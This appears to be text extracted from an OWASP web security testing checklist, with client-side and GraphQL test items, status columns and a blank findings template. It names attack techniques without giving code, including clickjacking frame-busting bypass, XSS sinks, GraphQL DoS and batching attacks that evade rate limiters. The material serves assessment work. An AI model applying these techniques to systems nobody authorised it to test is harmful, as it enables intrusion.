- Examine code examples where user input, like location.hash, is used to dynamically
set CSS properties. This kind of implementation can lead to CSS injection Not Started
vulnerabilities.
- The risk and impact of such vulnerabilities vary based on the browser and the
specific payload used by an attacker.
- Identify whether the application allows user-controlled inputs to specify external
resources without proper validation.
- Investigate client-side scripts handling URLs associated with various resources like
images, videos, objects, CSS, and iframes for potential vulnerabilities.
- Focus on injection points (sinks) where an attacker can include client-side code,
potentially leading to XSS vulnerabilities. These include tags and methods such as:
- Frame: iframe src Not Started
- Link: a href
- AJAX Request: xhr.open(method, [url], true); URL
- CSS: link href
- Image: img src
- Object: object data
- Script: script src
- Manually identify if the application allows user inputs to specify external resources
without proper validation.
- Investigate client-side scripts handling URLs associated with various resources like
images, videos, CSS, iframes, etc., for potential vulnerabilities.
- Check for possible injection points or sinks, such as the src attribute in iframes, Not Started
href in links, URLs in AJAX requests (xhr.open method), and the src attribute in script
tags.
- Focus on sinks that allow client-side code injection, which could lead to cross-site
scripting (XSS) vulnerabilities.
- Use Flare to decompile SWF files for white-box testing of Flash applications.
- Check FlashVars in ActionScript for potential attack vectors, using examples in
HTML or URL parameters.
- Identify entry points for data use in unsafe methods (e.g., loadVariables(),
getURL(), XML.load()) for vulnerabilities. Not Started
- Test for Reflected XSS by hosting the SWF file on the victim's host and using
techniques like iframes or direct URL loading.
- Evaluate the use of ExternalInterface.call and HTML Injection in TextField Objects
for potential security flaws.
- Create a simple web page with an iframe containing the target site to test if it can be
loaded in an inline frame.
- If the target site loads in the frame, it's vulnerable to clickjacking; if not, it may have
some form of protection.
- Test for Frame Busting bypass using techniques like Double Framing, Disabling
Not Started
JavaScript, or exploiting XSS filters in browsers.
- Explore client-side protections like Frame Busting scripts, and server-side
protections such as the X-FRAME-OPTIONS header.
- Consider the less complex nature of mobile website versions which may have fewer
protections against such attacks.
- Identify WebSocket usage by inspecting client-side code for ws:// or wss:// URI
schemes, using Chrome’s Developer Tools, or ZAP's WebSocket tab.
- Test origin handling by attempting to connect with a WebSocket client; if successful,
the server may not be validating the origin header.
- Ensure WebSocket connections use TLS (wss://) for confidentiality and integrity, and
Not Started
check for HTTPS implementation issues.
- Perform standard black-box authentication and authorization tests, as WebSockets
don't handle these.
- Use ZAP to replay and fuzz WebSocket requests and responses for input
sanitization.
- Ensure the application filters and processes messages only from trusted domains
and that postMessage() does not use * for the target origin.
- Check for message event listeners in code and verify domains before data
manipulation to prevent security risks.
Not Started
- Treat data from web messages as untrusted, and check for insecure methods like
eval() or innerHTML, which can lead to DOM-based XSS vulnerabilities.
- Perform static code analysis on JavaScript to assess restrictions on messages
from untrusted domains and data handling for trusted ones.
- Test localStorage by listing all key-value entries, noting that entries persist even
after the browser window closes, except in Private/Incognito mode.
- Examine sessionStorage similarly; its entries are ephemeral and cleared when the
browser tab/window is closed.
- Inspect IndexedDB, which stores more than strings, including complex JavaScript
Not Started
objects like CryptoKeys. Ensure CryptoKeys are set to extractable: false for security.
- Review cookies for session management and arbitrary data storage; they are key-
value storage mechanisms.
- Check the global window object for custom attributes, as any data attached will be
lost on page refresh or close.
Status
- Introspection Queries: Utilize introspection to understand the supported queries,
data types, and schema details of a GraphQL deployment. Send HTTP requests with
specific payloads to extract schema information. Tools like GraphQL Voyager and
GraphiQL can assist in visualizing and documenting the schema.
- Authorization Testing: Investigate for authorization issues by examining the schema
and sending queries that might bypass privilege restrictions. Test for broken access
control by using extracted tokens or other means to access unauthorized data.
- Injection Testing: Leverage GraphQL as an entry point for underlying vulnerabilities Not Started
like SQL injection or XSS. Test custom data types (scalars) for validation issues and
attempt to exploit them.
- Denial of Service (DoS) Testing: Test for potential DoS attacks by constructing
deeply nested or recursive queries that could overload server resources.
- Batching Attacks: Test for batching attacks where multiple queries are combined
into a single request. This could be used for data extraction or brute-forcing without
being detected by security measures like WAFs or rate limiters.
Notes
Notes
Notes
Notes
Notes
Notes
Notes
Notes
Notes
Notes
Notes
Notes
OWASP: Summary Findings
www.example.com/news.php
1 WSTG-INFO-02 Fingerprint Web Server High Moderate High
(id,page)
Conduct Search Engine Discovery
www.example.com/news.php
2 WSTG-INFO-02 Reconnaissance for Information High Moderate High
(id,page)
Leakage
Conduct Search Engine Discovery
www.example.com/news.php
3 WSTG-INFO-02 Reconnaissance for Information High Moderate High
(id,page)
Leakage
Observation/Implication Recommendation Test Evidence
xxx-1
OWASP: Risk Assessment Calculator
Likelihood factors
Vulnerability Factors
Impact
Likelihood Low ->Moderate<- High
->Low<- Note ->Low<- Moderate